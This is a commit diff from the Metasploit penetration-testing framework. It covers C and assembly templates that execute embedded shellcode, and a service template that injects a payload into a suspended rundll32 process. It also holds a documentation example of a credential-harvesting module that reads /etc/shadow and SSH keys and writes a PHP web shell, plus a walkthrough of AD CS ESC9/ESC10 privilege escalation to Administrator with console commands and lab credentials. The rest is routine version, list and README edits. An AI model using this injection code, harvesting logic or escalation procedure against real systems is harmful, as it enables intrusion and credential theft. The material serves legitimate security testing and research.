</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\service.c"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
+7 -7
View File
@@ -1,11 +1,11 @@
#include <stdio.h>
#include <windows.h>
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char bPayload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";
int main(int argc, char **argv) {
(*(void (*)()) payload)();
return(0);
void main() {
DWORD dwOldProtect;
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
(*(void (*)()) bPayload)();
return;
}
File diff suppressed because one or more lines are too long
@@ -1,32 +0,0 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Architecture: x64
;
; Assemble and link with the following command:
; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main
extrn ExitProcess : proc
extrn VirtualAlloc : proc
.code
main proc
sub rsp, 40 ;
mov r9, 40h ;
mov r8, 3000h ;
mov rdx, 4096 ;
xor rcx, rcx ;
call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
mov rcx, 4096 ;
mov rsi, payload ;
mov rdi, rax ;
rep movsb ; memcpy( lpPayload, payload, 4096 );
call rax ; lpPayload();
xor rcx, rcx ;
call ExitProcess ; ExitProcess( 0 );
main endp
payload proc
A byte 'PAYLOAD:'
B db 4096-8 dup ( 0 )
payload endp
end
@@ -0,0 +1,13 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
@@ -1,16 +1,28 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define PAYLOAD_SIZE 8192
#define SCSIZE 8192
char cServiceName[32] = "SERVICENAME";
char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";
char bPayload[SCSIZE] = "PAYLOAD:";
SERVICE_STATUS ss;
SERVICE_STATUS_HANDLE hStatus = NULL;
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
/*
*
*/
@@ -34,9 +46,9 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
PROCESS_INFORMATION pi;
LPVOID lpPayload = NULL;
ZeroMemory( &ss, sizeof(SERVICE_STATUS) );
ZeroMemory( &si, sizeof(STARTUPINFO) );
ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );
inline_bzero( &ss, sizeof(SERVICE_STATUS) );
inline_bzero( &si, sizeof(STARTUPINFO) );
inline_bzero( &pi, sizeof(PROCESS_INFORMATION) );
si.cb = sizeof(STARTUPINFO);
@@ -47,7 +59,7 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );
if ( hStatus )
{
ss.dwCurrentState = SERVICE_RUNNING;
@@ -57,30 +69,30 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
{
Context.ContextFlags = CONTEXT_FULL;
GetThreadContext( pi.hThread, &Context );
lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if( lpPayload )
{
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL );
#ifdef _WIN64
Context.Rip = (DWORD64)lpPayload;
Context.Rip = (ULONG_PTR)lpPayload;
#else
Context.Eip = (DWORD)lpPayload;
Context.Eip = (ULONG_PTR)lpPayload;
#endif
SetThreadContext( pi.hThread, &Context );
}
ResumeThread( pi.hThread );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
}
ServiceHandler( SERVICE_CONTROL_STOP );
ExitProcess( 0 );
}
}
@@ -88,12 +100,13 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
/*
*
*/
int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
void main()
{
SERVICE_TABLE_ENTRY st[] =
{
{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
{ NULL, NULL }
};
return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
SERVICE_TABLE_ENTRY st[] =
{
{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
{ NULL, NULL }
};
StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
return;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
View File
@@ -24,3 +24,4 @@ wkssvc
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
db2remotecmd
CxUIUSvcChannel
cert
@@ -1,3 +1,5 @@
acf-extended
ai-engine
ajax-load-more
all-in-one-wp-migration
backup
@@ -23,6 +25,7 @@ gi-media-library
give
hash-form
inboundio-marketing
king-addons
learnpress
loginizer
masterstudy-lms-learning-management-system
+5951 -2122
View File
File diff suppressed because it is too large Load Diff
+1 -2
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
end
end
+1 -1
View File
@@ -57,4 +57,4 @@ override.
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
```
Now you should be able get reverse shells working
Now you should be able to get reverse shells working
+1 -1
View File
@@ -1 +1 @@
3.2.5
3.3.8
+24 -4
View File
@@ -1,18 +1,38 @@
# Chat
# Primary Communication Channels
A lot of our discussion happens on IRC in #metasploit on Freenode.
## GitHub Discussions
For community support, questions, and general discussion, visit our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions).
## Slack
Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat with the community and developers.
## GitHub Issues
Submit bug reports and feature requests through [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues).
# Additional Communication Channels
## Chat
Some community discussion still happens on IRC in #metasploit on Freenode.
Please be patient and hang around for a while -- not everyone is awake
at the same time as you. =)
# Mailing list
## Mailing list
The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).
The old list [is archived on seclists.org][archive].
## Social Media
- **X**: [@metasploit](https://x.com/metasploit)
- **Mastodon**: [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit)
- **Blog**: [Rapid7 Blog - Metasploit Tag](https://www.rapid7.com/blog/tag/metasploit/)
- **YouTube**: [Metasploit YouTube](https://youtube.com/@MetasploitR7)
# Abuse
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
[archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"
@@ -12,8 +12,12 @@ The pgp signatures below can be verified with the following [public key](https:/
| Download Link |File Type| SHA | PGP |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.9-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.9-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-windows-x64-installer.exe.asc) |
| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.8-2025102701-linux-x64-installer.run.asc) |
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc) |
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
@@ -6,4 +6,4 @@
* [Facts and myths about antivirus evasion with Metasploit](http://schierlm.users.sourceforge.net/avevasion.html)
* [Using metasm to avoid antivirus detection ghost writing asm](https://web.archive.org/web/20200330111926/https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm)
There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the about articles should get you started.
There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the above articles should get you started.
@@ -110,7 +110,7 @@ end
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
* **SideEffects** - The SideEffects field describes the side effects caused by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
### Non-required fields
@@ -41,7 +41,7 @@ include Msf::Auxiliary::Scanner
A couple of new things will be added to your module when you include this mixin. You will have a new datastore option named "RHOSTS", which allows the user to specify multiple hosts. There's a new "THREADS" option, which allows the number of threads to run during execution. There's also "ShowProgress" and "ShowProgressPercent" for tracking scan progress.
Typically, the main method for an auxiliary module is "def run". But when you use the ```Msf::Auxiliary::Scanenr``` mixin, you need to be using ```def run_host(ip)```. The IP parameter is the target machine.
Typically, the main method for an auxiliary module is "def run". But when you use the ```Msf::Auxiliary::Scanner``` mixin, you need to be using ```def run_host(ip)```. The IP parameter is the target machine.
## Templates
@@ -0,0 +1,192 @@
# Post Exploitation Mixins
Post exploitation mixins provide a consistent API for interacting with compromised systems across different session types (Meterpreter, shell, PowerShell). Located in `lib/msf/core/post/`, these mixins abstract platform and session type differences.
## Msf::Post::Common
Core utilities for command execution and session interaction.
```ruby
include Msf::Post::Common
# Modern API - use create_process for commands with arguments
output = create_process('grep', args: ['-r', pattern, '/var/log'], time_out: 30, opts: { 'Hidden' => true })
# Legacy API - cmd_exec only for static command strings
hostname = cmd_exec('hostname')
# Environment variables
env_vars = get_envs('HOME', 'USER', 'PATH') # Returns hash of env vars
home = get_env('HOME') # Single variable
# Check command availability
if command_exists?('python3')
version = create_process('python3', args: ['--version'])
end
# Session information
target = "#{rhost}:#{rport}" # Or use: peer
```
## Msf::Post::File
Cross-platform file system operations.
```ruby
include Msf::Post::File
# Navigation and listing
current = pwd
cd('/tmp')
files = dir('/etc') # or ls('/etc')
# File checks
if file?('/etc/passwd') && readable?('/etc/passwd')
content = read_file('/etc/passwd')
store_loot('passwd', 'text/plain', session, content)
end
if directory?('/var/www') && writable?('/var/www')
write_file('/var/www/shell.php', payload)
end
# File operations
mkdir('/tmp/staging') # Auto-registered for cleanup
data = read_file('/etc/shadow')
write_file('/tmp/output.txt', data)
hash = file_remote_digestmd5('/bin/bash')
# Path expansion
expanded = expand_path('$HOME/.ssh/id_rsa') # Unix
expanded = expand_path('%APPDATA%\\data') # Windows
```
## Msf::Post::Process
Process enumeration and manipulation.
```ruby
include Msf::Post::Process
# Enumerate processes
processes = get_processes
processes.each { |p| print_line("#{p['pid']}: #{p['name']}") }
# Find specific processes
nginx_pids = pidof('nginx')
if nginx_pids.any?
print_good("Found nginx: #{nginx_pids.join(', ')}")
nginx_pids.each { |pid| kill_process(pid) }
end
# Check process existence
if has_pid?(1234)
print_good("Process 1234 is running")
end
```
## Msf::Post::Unix
Unix/Linux-specific utilities.
```ruby
include Msf::Post::Unix
# Privilege checking
if is_root?
print_good("Running as root")
else
print_warning("Running as #{whoami}")
end
# User enumeration
users = get_users
users.each do |u|
print_line("#{u['name']} (UID: #{u['uid']}, Shell: #{u['shell']})")
end
admin_users = users.select { |u| u['uid'].to_i == 0 }
# Group enumeration
groups = get_groups
sudo_group = groups.find { |g| g['name'] =~ /sudo|wheel/ }
print_good("Sudo users: #{sudo_group['users']}") if sudo_group
# Find SSH keys and interesting files
ssh_keys = enum_user_directories
ssh_keys.each do |key|
content = read_file(key)
store_loot('ssh.key', 'text/plain', session, content, key)
end
```
## Platform-Specific Mixins
### Msf::Post::Windows
Windows-specific operations including registry manipulation, service management, and Windows API access. See Windows-specific documentation.
### Msf::Post::Linux
Linux-specific system information gathering and kernel utilities.
### Msf::Post::OSX
macOS-specific utilities and system interaction methods.
### Msf::Post::Android
Android device interaction and data collection methods.
### Msf::Post::Hardware
Hardware interaction utilities (e.g., USB devices, serial ports).
## Example Module
```ruby
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Credential Harvester',
'Description' => 'Collects credentials from Linux system',
'License' => MSF_LICENSE,
'Author' => ['Your Name'],
'Platform' => ['linux'],
'SessionTypes' => ['meterpreter', 'shell']
))
end
def run
print_status("Harvesting credentials on #{peer}")
if is_root?
# Root access - collect shadow file
if readable?('/etc/shadow')
shadow = read_file('/etc/shadow')
store_loot('shadow', 'text/plain', session, shadow, '/etc/shadow')
end
end
# Collect SSH keys
ssh_keys = enum_user_directories
ssh_keys.each do |key_path|
key = read_file(key_path)
store_loot('ssh.key', 'text/plain', session, key, key_path)
end
# Check for interesting processes
if pidof('sshd').any?
print_good("SSH daemon running")
end
end
end
```
## Best Practices
- **Use `create_process`** for commands with arguments: `create_process('ls', args: ['-la', path])`
- **Use `cmd_exec`** only for static strings: `cmd_exec('hostname')`
- **Check before acting**: Use `file?()`, `readable?()`, `writable?()` before file operations
- **Handle errors**: Wrap operations in `begin/rescue` blocks
- **Register cleanup**: Files created with `write_file()` are auto-registered; use `register_file_for_cleanup()` for others
- **Store loot properly**: Use `store_loot()` to save collected data
- **Check session type**: Some operations behave differently on Meterpreter vs shell sessions
@@ -14,6 +14,11 @@ flowchart TD
ESC8(ESC8)
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
end
subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
@@ -51,6 +56,8 @@ flowchart TD
update_template --> ESC1
web_enrollment --> PKINIT
web_enrollment --> SCHANNEL
weak_certificate_mapping --> PKINIT
weak_certificate_mapping --> SCHANNEL
```
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
manipulation
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
covers exploiting that subset of ESC flaws.
- ESC16 - Security Extension Disabled on CA (Globally)
- [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -921,6 +931,392 @@ msf auxiliary(server/relay/esc8) >
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
# Overview of exploiting ESC9 and ESC10 with Metasploit
ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate
via LDAP - which is a unique requirement compared to the other ESC techniques and is why there is a separated
module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
based on that value. Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
ESC10 minus a number of details we'll get into.
It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
Microsoft attempts to patch CVE-202226923 (aka Certifried). During this effort they implemented the new
`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
and certificate template flags.
## StrongCertificateBindingEnforcement
Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
| Setting | Method | Strength assessment |
| ------- |--------------------------------------------------------------------------------------------------|---------------------|
| 0 | No strong certificate mapping checks are done | weak |
| 1 | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak |
| 2 | Full Enforcement Mode (No weak mappings allowed) | strong |
In order to exploit these certificate misconfiguration we will need the value of `StrongCertificateBindingEnforcement` to be either `0` or `1`.
If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
## CertificateMappingMethods
Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
| Bit | Setting | Method | Strength assessment |
| --- | ------- | ------------------------------------- | ------------------- |
| 1 | 0x0001 | Subject/Issuer certificate mapping | weak |
| 2 | 0x0002 | Issuer certificate mapping | weak |
| 3 | 0x0004 | UPN certificate mapping | weak |
| 4 | 0x0008 | S4U2Self certificate mapping | strong |
| 5 | 0x0010 | S4U2Self explicit certificate mapping | strong |
| 1-5 | 0x001F | All of the above values | weak |
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
## CT_FLAG_NO_SECURITY_EXTENSION
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
## Changing userPrincipalName vs dNSHostName
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
attribute, only machine accounts do.
# Exploiting ESC9
## ESC9 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
- The same vulnerable template has a client authentication EKU
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[+] Template: ESC9-Template
[*] Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
[*] Manager Approval: Disabled
[*] Required Signatures: 0
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
[*] Notes:
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
[*] Certificate Template Write-Enabled SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
...
```
Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
our case it is so we can proceed with exploitation.
We will set a number of datastore options in order to exploit ESC9 in this scenario.
We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
set in order to connect however it defaults to 389.
The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be
set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
This is done automatically by the module.
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
